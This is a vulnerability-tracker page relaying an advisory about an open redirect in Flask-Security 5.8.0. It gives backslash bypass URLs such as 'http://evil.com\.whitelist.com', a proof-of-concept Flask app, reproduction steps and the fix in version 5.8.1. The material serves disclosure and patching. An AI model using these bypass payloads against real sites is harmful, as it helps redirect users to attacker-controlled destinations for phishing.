GHSA-w2j7-f3c6-g8cw: Flask-Security has an Open Redirect issue
Noroxi assessment
Priority: Monitor (action score 18/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. A user must open a link or visit a page. No special conditions are required; it is repeatable.
- Fixed version: flask-security (PyPI) 5.8.1.
Low priority for now. Upgrade to flask-security (PyPI) 5.8.1 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
# Open Redirect in Flask-Security ## Summary `flask_security.utils.validate_redirect_url()` can allow an attacker-controlled redirect URL when subdomain redirects are enabled. The bypass uses a backslash inside the URL authority/host: ```text http://evil.com\.whitelist.com http://evil.com%5C.whitelist.com ``` Python's `urlsplit()` parses the full authority as `evil.com\.whitelist.com` or `evil.com%5C.whitelist.com`. Because the value ends with `.whitelist.com`, `validate_redirect_url()` accepts it as an allowed subdomain of `whitelist.com`. This is similar in class to the previous Flask-Security-Too open redirect advisory CVE-2023-49438 / GHSA-672h-6x89-76m5, where crafted redirect URLs bypassed validation through browser URL normalization behavior. ## Affected Configuration The issue requires subdomain redirects to be enabled: ```python SERVER_NAME = "whitelist.com" SECURITY_REDIRECT_ALLOW_SUBDOMAINS = True ``` Tested environment: ```text Flask-Security: 5.8.0 Flask: 3.1.3 Werkzeug: 3.1.8 ``` ## Impact An attacker can craft a URL that passes Flask-Security's redirect validation and produces a `302` response to an attacker-controlled URL-like authority. This can be used for phishing or other attacks that rely on a trusted application redirecting users to an attacker-controlled destination. ## Proof of Concept ### PoC Flask App ```python from __future__ import annotations from importlib.metadata import version from urllib.parse import urlsplit from flask import Flask, jsonify, redirect, request from flask_security.utils import validate_redirect_url app = Flask(__name__) app.config.update( SECRET_KEY="poc-only", SERVER_NAME="whitelist.com", SECURITY_REDIRECT_ALLOW_SUBDOMAINS=True, SECURITY_REDIRECT_BASE_DOMAIN=None, SECURITY_REDIRECT_ALLOWED_SUBDOMAINS=[], ) @app.get("/") def index(): return jsonify( flask_version=version("Flask"), configured_server_name=app.config["SERVER_NAME"], examples=[ r"http://evil.com\.whitelist.com", "http://evil.com%5C.whitelist.com", "http://sub.whitelist.com", "http://sub.not-whitelist.com", ], ) @app.get("/check") def check(): next_url = request.args.get("next", "") parsed = urlsplit(next_url) return jsonify( next=next_url, valid=validate_redirect_url(next_url), parsed={ "scheme": parsed.scheme, "netloc": parsed.netloc, "hostname": parsed.hostname, "path": parsed.path, }, ) @app.get("/redir") def redir(): next_url = request.args.get("next", "") if not validate_redirect_url(next_url): return jsonify(error="blocked", next=next_url), 400 return redirect(next_url) if __name__ == "__main__": app.run(host="127.0.0.1", port=5000, debug=False) ``` ### Steps to Reproduce Run the PoC with the target project's Flask version: ```bash .venv/bin/python poc_redirect_app.py ``` The invalid comparison case is correctly blocked: ```bash http://127.0.0.1:5000/redir?next=http://evil.com ``` Observed result: <img width="1019" height="294" alt="image" src="https://github.com/user-attachments/assets/de25ac4d-b37f-4369-928e-f44dfd5b7557" /> Check the validation result: ```bash http://127.0.0.1:5000/check?next=http://evil.com%5C.whitelist.com ``` Observed result: <img width="1029" height="634" alt="image" src="https://github.com/user-attachments/assets/8e5ec8a6-42a4-438a-8d12-a27724519091" /> ## References - CVE-2023-49438: https://advisories.gitlab.com/pypi/flask-security-too/CVE-2023-49438/ - GHSA-672h-6x89-76m5: https://osv.dev/vulnerability/CVE-2023-49438 - NVD entry for CVE-2023-49438: https://nvd.nist.gov/vuln/detail/CVE-2023-49438
- Published
- Jun 23, 2026
- Updated
- Jun 23, 2026
- EPSS
- —
- CWE
- CWE-601
Report tools
Action score
18
Low priority for now.
- CVSS
- 18 / 40 · 4.7 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
If any of these changes, we'll tell you in the daily email digest.
Is your version affected? Check itNoroxi analysis
What does it mean in your environment?
The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.
We use this product, ask for helpAffected systems
Is your version affected?
Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.
| Vendor | Product | CPE |
|---|---|---|
| PyPI | flask-security | pkg:pypi/flask-security |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | flask-security | before 5.8.1 | 5.8.1 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:flask-security | 5.8.1 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- A user must open a link or visit a page.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- low · data can be read
- Integrity
- none
- Availability
- none
Impact can extend beyond the vulnerable component (scope changes).
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality impact
- Low
- Integrity impact
- None
- Availability impact
- None
Weakness class (CWE)
CWE-601 · URL Redirection to Untrusted Site ('Open Redirect')CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
ATT&CK techniques
—
Change log (1)
- Fix✗ → ✓
For records you follow, these changes also arrive as notifications. →
References
Show all references (4 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.